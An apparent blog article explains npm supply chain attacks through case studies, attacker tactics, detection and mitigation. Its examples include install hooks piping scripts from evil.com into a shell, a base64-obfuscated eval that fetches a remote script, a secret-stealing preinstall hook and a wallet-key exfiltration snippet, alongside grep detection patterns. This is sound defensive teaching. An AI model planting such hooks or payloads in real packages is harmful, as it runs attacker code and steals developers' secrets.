What Are Supply Chain Attacks?
A supply chain attack happens when adversaries compromise the links that deliver your software rather than your code itself. Instead of breaking into your app directly, they sneak malicious code into third-party libraries, build processes, or package managers, turning trusted dependencies into hidden backdoors.
For JavaScript developers, the npm ecosystem is especially vulnerable because:
- Most projects pull in hundreds of transitive dependencies, many of which developers never audit.
- Anyone can publish a package to npm with little to no review.
- A single popular library can become a massive single point of failure.
In other words, attackers don’t need to target you directly; they just need to poison the supply chain you rely on.
Case Studies
Case Study 1: The event-stream Backdoor (2018)
The event-stream incident is one of the most notorious npm supply chain attacks.
- Background: event-stream was a widely used package (2M weekly downloads), designed to simplify working with streams in Node.js. The original maintainer, overwhelmed by the task of maintaining it for free, handed over publishing rights to another contributor.
- Attack: The new maintainer published version 3.3.6 with a dependency on flatmap-stream. Inside that dependency was obfuscated code specifically targeting the Copay Bitcoin wallet.
- Payload: The malicious code tried to detect if the app was Copay, then exfiltrated private wallet keys to a remote server.
- Discovery: A developer noticed strange obfuscated code and raised an issue.
Here’s a simplified snippet of the injected malicious code.
var crypto = require("crypto");
var through = require("through2");
module.exports = function (file) {
return through(function (buf, enc, next) {
try {
var data = JSON.parse(buf.toString("utf8"));
if (data.wallet && data.keys) {
sendKeysToAttacker(data.keys); // Malicious exfiltration
}
} catch (e) {}
next(null, buf);
});
};
Lesson: Social engineering maintainers are a viable attack. The weakest link is often people, not code.
Case Study 2: Dependency Confusion at Microsoft, Apple & Tesla (2021)
- Background: Security researcher Alex Birsan demonstrated “dependency confusion” by publishing packages to npm with names identical to internal corporate libraries.
- Attack: Many build systems fetch packages from both internal registries and the npm public registry. Since npm’s version was higher, it was chosen by default.
- Impact: His test packages were downloaded inside networks of companies like Microsoft, Apple, and Tesla. He responsibly disclosed this and was awarded $130k in bug bounties.
- Payload: His proof-of-concept packages included a script that sent environment variables (tokens, secrets) back to his server.
Lesson: Private registries need to be isolated, and build tools must be configured to prefer internal sources over public ones.
Case Study 3: Colors.js and Faker.js Sabotage (2022)
- Background: colors.js and faker.js are utility libraries with billions of downloads annually. Their sole maintainer, Marak Squires, grew frustrated with unpaid labor and corporate exploitation of open source.
- Attack (or Protest): He pushed versions containing a loop printing random text and an infinite recursion:
while (true) {
console.log('LIBERTY LIBERTY LIBERTY');
}
- Impact: Apps and builds depending on these packages broke worldwide.
Lesson: Even without malicious outsiders, maintainer burnout can destabilize the ecosystem. This raises questions about open-source sustainability.
How Attackers Exploit npm
Let’s now break down the tactics attackers use, with detailed explanations and examples.
1. Typosquatting
Attackers publish packages with names similar to popular ones, hoping developers mistype:
npm install experss # instead of express
Malicious experss might include a hidden install script:
{
"scripts": {
"postinstall": "curl -s http://evil.com/malware.sh | sh"
}
}
Real-world example: In 2017, researchers uploaded typo’d versions of popular packages and found thousands of accidental downloads in days.
2. Dependency Confusion
Build systems often don’t distinguish between internal/private dependencies and public ones. Attackers exploit this by publishing higher-version public packages with the same name.
Example:
- Internal package: [email protected]
- Attacker publishes: [email protected]
Build tools pick the higher version, due to which the attacker’s code is executed.
{
"name": "company-internal-auth",
"version": "99.0.0",
"scripts": {
"preinstall": "node steal-secrets.js"
}
}
3. Maintainer Compromise
Attackers target maintainers’ accounts using:
- Phishing emails (“npm security alert – verify now!”)
- Credential stuffing (reusing leaked passwords)
- Malware stealing tokens from .npmrc
Once inside, they publish legitimate-looking malicious updates.
Real-world example: ua-parser-js was hijacked this way in 2021, distributing cryptominers.
4. Malicious Install Scripts
npm supports lifecycle hooks (preinstall, install, postinstall). Attackers hide malicious code inside them.
Example of a hidden crypto miner:
{
"scripts": {
"preinstall": "curl -fsSL http://evil.com/miner.sh | sh"
}
}
Risk: These scripts run automatically during install, even before you use the library.
5. Obfuscated Payloads
To avoid detection, attackers often obfuscate their payloads with Base64, eval, or string concatenation.
Example:
eval(Buffer.from("Y3VybCAtcyBodHRwOi8vZXZpbC5jb20vZXhlYy5zaA==", "base64").toString());
This decodes and runs:
curl -s http://evil.com/exec.sh
Real-world example: The flatmap-stream backdoor used obfuscation and conditional execution to avoid suspicion.
Detecting Supply Chain Attacks
Detecting malicious activity in npm dependencies requires both human oversight and automated tools. The challenge is that attackers often hide their payloads in plain sight, sometimes buried deep in transitive dependencies, so relying on one layer of defense isn’t enough.
Let’s break down the methods developers can use today.
1. Manual Review
Before installing any new package, it’s worth asking: Do I trust this code?
- Check package.json and package-lock.json:
If you see dependencies you don’t recognize, especially deeply nested ones, that’s a red flag. For example, a tiny UI component shouldn’t suddenly bring in a dozen crypto-related libraries. - Look for obfuscated or suspicious code:Signs of malicious intent include:
- Use of eval() or Function() constructors (used for dynamic, hard-to-track execution).
- Network calls (http, https, fetch, curl) in unexpected places.
- Excessive code obfuscation (e.g., unreadable variable names, Base64 blobs).
Example: If you see this in a library meant for string manipulation, you should investigate:
eval(Buffer.from("Y3VybCAtcyBodHRwOi8vZXZpbC5jb20vbWFsd2FyZS5zaA==", "base64").toString());
That’s not string logic, it’s a hidden remote script fetch.
2. Automated Security Tools
Manual review doesn’t scale, so automation is critical. Fortunately, the ecosystem offers powerful tools:
npm audit: Scans your dependencies for known vulnerabilities.
npm audit fix
- While it doesn’t detect brand-new attacks, it’s a good first line of defense.
- Snyk: Goes beyond known CVEs by monitoring your project continuously and alerting you when new vulnerabilities are disclosed. It also integrates with GitHub, GitLab, and CI/CD pipelines.
- Socket.dev: Specializes in spotting malicious behavior (like risky install scripts) rather than just vulnerabilities. Think of it as “anti-malware” for npm.
Takeaway: These tools complement each other. Use multiple scanners for defense in depth.
3. Static Analysis
Attackers often hide malicious payloads in install hooks. Static analysis can help detect these.
Quick-and-dirty scans you can run locally:
grep -R "curl" node_modules/
grep -R "child_process" node_modules/
If you find an unexpected child_process.exec() call inside a small utility package, that’s suspicious.
Advanced teams use Semgrep, ESLint rules, or custom static analysis pipelines to automate these scans in CI.
4. Package Integrity
Supply chain attacks often succeed because dependencies shift under your feet. Reducing this dependency drift is crucial:
- Use lockfiles (npm ci): Unlike npm install, which resolves new versions, npm ci installs exact versions from package-lock.json. This guarantees that your CI build matches your local dev environment.
- Package signing (Sigstore, Cosign): Still emerging, but promising. These tools allow maintainers to cryptographically sign packages. Developers can then verify that the package hasn’t been tampered with.
Future vision: npm may eventually enforce signatures on all packages, making tampering much harder.
Mitigating npm Supply Chain Risks
Once you know how to detect attacks, the next step is prevention. Here’s a deeper look at mitigation strategies.
1. Enforce npm 2FA
Maintainer account takeovers have caused multiple real-world breaches (coa, rc, ua-parser-js). The fix? Two-Factor Authentication (2FA).
npm profile enable-2fa auth-only
This ensures that even if an attacker steals a password, they can’t publish malicious updates.
npm is already nudging maintainers toward mandatory 2FA for popular packages, but developers should enable it proactively.
2. Use a Private Registry
Instead of pulling packages directly from the public npm registry, large teams should use private registries (e.g., Verdaccio, Sonatype Nexus, JFrog Artifactory).
Benefits:
- Mirror only vetted packages.
- Control updates (you decide when new versions enter your ecosystem).
- Add caching and stability to CI/CD pipelines.
This also mitigates dependency confusion, because private packages stay inside your internal registry.
3. Pin Dependencies
Never rely on floating versions (^1.2.3, ~1.2.3). These allow automatic upgrades, which can introduce malicious code without your knowledge.
Instead, pin exact versions:
"dependencies": {
"express": "4.18.2"
}
Combine this with npm ci to ensure reproducible builds.
4. Restrict Install Scripts
Since lifecycle hooks are a common attack vector, disable them unless you explicitly need them:
npm install –ignore-scripts
This neutralizes many cryptominer-style attacks.
5. Continuous Monitoring
Supply chain risk is not a “set and forget” problem. Even if your project is secure today, tomorrow, one of your dependencies might get compromised.
Recommended:
- Dependabot (GitHub) or Renovate: Automatically update dependencies and open PRs for review.
- Snyk Monitor: Alerts you when new vulnerabilities affect your existing dependencies.
- Socket.dev: Watches for suspicious patterns in updates.
Example: Secure Dependency Installation
Here’s a step-by-step hardened workflow:
# 1. Install exact dependencies from lockfile, skip scripts
npm ci --ignore-scripts
# 2. Audit for known vulnerabilities
npm audit --production
# 3. Test with a vulnerability scanner
npx snyk test
# 4. (Optional) Run custom static scans for suspicious patterns
grep -R "curl" node_modules/
grep -R "child_process" node_modules/
This adds friction, but it’s the kind of friction that prevents disaster.
The Future of npm Security
The ecosystem is waking up to the risks:
- Mandatory 2FA: npm now enforces this for maintainers of critical packages.
- Sigstore & package signing: Ensuring provenance of published code.
- SBOMs (Software Bill of Materials): Increasingly required in regulated industries, SBOMs give a full dependency inventory.
- AI-driven anomaly detection: Emerging tools analyze patterns in npm updates and flag suspicious ones automatically.
But ultimately, developers remain the first line of defense. Blind trust in third-party code is no longer sustainable.
Conclusion
The npm ecosystem has unlocked incredible innovation, but it comes with an expanded attack surface. From high-profile compromises like event-stream and coa to subtler risks like dependency confusion, supply chain attacks are a present reality.
The good news: detection and mitigation are possible. By combining manual review, automated tools, pinned dependencies, private registries, and a zero-trust mindset, developers can drastically reduce their exposure.
The dark side of npm isn’t going away, but with vigilance, layered defenses, and community awareness, we can continue building on npm without becoming the next cautionary tale.
Author
🔍 FAQ
1. What is "Dependency Confusion," and how does it differ from "Typosquatting"?
While both tactics involve tricking a build system or developer into installing the wrong package, they use different methods: Typosquatting relies on human error. An attacker publishes a package with a name very similar to a popular one (e.g., experss instead of express), hoping a developer makes a typo during installation. Dependency Confusion targets automated build systems. An attacker finds the name of a private, internal company package and publishes a malicious version with the same name—but a much higher version number—to the public npm registry. Many build tools are configured to automatically fetch the highest version available, causing them to "confuse" the public malicious package for the private internal one.
2. Is running npm audit enough to keep my project safe?
No. While npm audit is a vital first step, it has limitations: Reactive, not Proactive: It only flags vulnerabilities that have already been discovered, reported, and documented in a database. It cannot detect "Zero-Day" attacks or brand-new malicious packages. Doesn't Detect Malicious Logic: A package might not have a "vulnerability" (a bug), but rather "malicious intent" (code designed to steal keys). Tools like Socket.dev or manual code reviews are better suited for spotting suspicious behavior like hidden install scripts or unexpected network calls. Scope: It primarily looks at known CVEs (Common Vulnerabilities and Exposures) rather than the social engineering of maintainers.
3. Why should I use npm ci instead of npm install in my CI/CD pipeline?
Using npm ci (Clean Install) is a core security best practice for two main reasons: Deterministic Builds: Unlike npm install, which may update your package-lock.json if it finds newer compatible versions (e.g., via the ^ or ~ symbols), npm ci strictly adheres to the versions locked in your file. This ensures that the code you tested locally is exactly the same code being deployed. Integrity Verification: npm ci will fail if the package-lock.json and package.json are out of sync, preventing "dependency drift" where a compromised sub-dependency might sneak into your production environment unnoticed.


